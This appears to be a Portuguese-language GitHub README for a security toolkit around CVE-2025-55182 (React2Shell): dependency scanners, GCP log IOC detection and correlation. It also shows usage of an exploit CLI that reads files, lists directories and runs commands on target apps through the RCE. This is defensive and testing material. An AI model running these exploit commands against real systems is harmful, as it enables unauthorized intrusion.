joaoreis13/flight-riskConjunto de ferramentas de segurança para CVE-2025-55182 (React2Shell) — escaneie, detecte, correlacione e teste a vulnerabilidade RCE do React Server Components
flight risk /flaɪt rɪsk/ — O protocolo Flight do React é a camada de serialização por trás dos React Server Components. CVE-2025-55182 explora uma falha de desserialização no Flight para obter RCE pré-autenticação. Se sua aplicação usa RSC, ela é um flight risk.
Kit de segurança para CVE-2025-55182 (React2Shell) — uma vulnerabilidade de execução remota de código pré-autenticação CVSS 10.0 em React Server Components. Escaneie, detecte, correlacione e teste.
| Ferramenta | O que faz |
|---|---|
| react2shell-scanner | Escaneia organizações do GitHub e projetos GCP em busca de dependências vulneráveis do React/Next.js. Teste de exploração autorizado (sonda segura, leitura de arquivo, listagem de diretório, execução de comando). |
| gcp-ioc-scanner | Consulta o GCP Cloud Logging por padrões de Indicador de Compromisso em vários projetos e serviços K8s. Definições de IOC plugáveis. |
| gcp-log-correlator | Correlaciona eventos de log do GCP por proximidade temporal no mesmo pod — por exemplo, descubra qual requisição HTTP acionou um erro de RCE. |
# Clone
git clone https://github.com/YOUR_USER/flight-risk.git
cd flight-risk
# Install dependencies
pip install -r react2shell-scanner/requirements.txt
pip install pyyaml # for gcp-ioc-scanner
# Make scripts executable
chmod +x react2shell-scanner/bin/*
chmod +x gcp-ioc-scanner/gcp-ioc-scanner
chmod +x gcp-log-correlator/gcp-log-correlator
# Authenticate
gh auth login # GitHub scanning
gcloud auth application-default login # GCP scanning + log analysis
Todos os comandos são executados a partir da raiz do repositório.
react2shell-scanner/bin/scan-github \
--org YOUR_GITHUB_ORG \
--output ./results/github
react2shell-scanner/bin/scan-gcp \
--project YOUR_GCP_PROJECT \
--output ./results/gcp
react2shell-scanner/bin/scan-all \
--org YOUR_GITHUB_ORG \
--project YOUR_GCP_PROJECT \
--output ./results
python3 react2shell-scanner/cli.py https://your-app.example.com
# Dry run — show payload without sending
python3 react2shell-scanner/cli.py --dry-run --verbose https://your-app.example.com
# Read file via RCE
python3 react2shell-scanner/cli.py --method read-file https://your-app.example.com /etc/hostname
# List directory via RCE
python3 react2shell-scanner/cli.py --method list-dir https://your-app.example.com /app
# Execute command via RCE
python3 react2shell-scanner/cli.py --method exec-cmd https://your-app.example.com "id"
# Batch targets
python3 react2shell-scanner/cli.py --targets targets.txt --output results.json
gcp-ioc-scanner/gcp-ioc-scanner \
--targets gcp-ioc-scanner/examples/targets-example.yaml \
--iocs gcp-ioc-scanner/iocs/cve-2025-55182.yaml \
--start 2026-01-01 \
--end 2026-04-01 \
--output ./results/ioc-scan
gcp-log-correlator/gcp-log-correlator \
--project YOUR_GCP_PROJECT \
--namespace frontend \
--pod-pattern "web-app.*" \
--trigger-filter 'severity=ERROR' \
--preceding-filter 'httpRequest.requestMethod:*' \
--window 30s \
--start 2026-04-01T00:00:00Z \
--end 2026-04-02T00:00:00Z \
--format json,markdown \
--output ./results/correlation
cd react2shell-scanner
docker compose -f docker/docker-compose.yml build
docker compose -f docker/docker-compose.yml run scanner-shell
flight-risk/
├── README.md
├── LICENSE
├── react2shell-scanner/
│ ├── bin/ # scan-github, scan-gcp, scan-all
│ ├── cli.py # Exploit testing CLI
│ ├── exploit.py # Exploitation logic
│ ├── utils.py # Shared utilities
│ ├── lib/ # Shell + Python helpers
│ ├── vuln-defs/ # Pluggable vulnerability definitions
│ ├── docker/ # Containerized scanning
│ ├── examples/ # Example scripts
│ ├── test-app/ # Vulnerable Next.js fixture
│ └── requirements.txt
├── gcp-ioc-scanner/
│ ├── gcp-ioc-scanner # IOC log scanner
│ ├── iocs/ # IOC pattern definitions
│ └── examples/ # Target config examples
└── gcp-log-correlator/
├── gcp-log-correlator # Event correlator
└── examples/ # Correlation examples
gh)gcloud)jqUso autorizado apenas. Este kit contém código de exploração. Use-o apenas contra sistemas que você possui ou para os quais tenha autorização explícita por escrito para testar. O uso não autorizado pode violar o Computer Fraud and Abuse Act (18 U.S.C. 1030) e leis equivalentes.
MIT — veja LICENSE.
| CVSS | 10.0 Crítico |
| Vetor | Rede / Pré-autenticação / Sem interação |
| React | 19.0.0 - 19.2.0 (corrigido em 19.3.0) |
| Next.js | 14.3.0 - 15.3.5, 16.0.0 - 16.0.7 (corrigido em 15.3.6, 16.0.8) |
| Causa raiz | Desserialização não segura no protocolo React Flight |
| Impacto | RCE total como o usuário do processo da aplicação |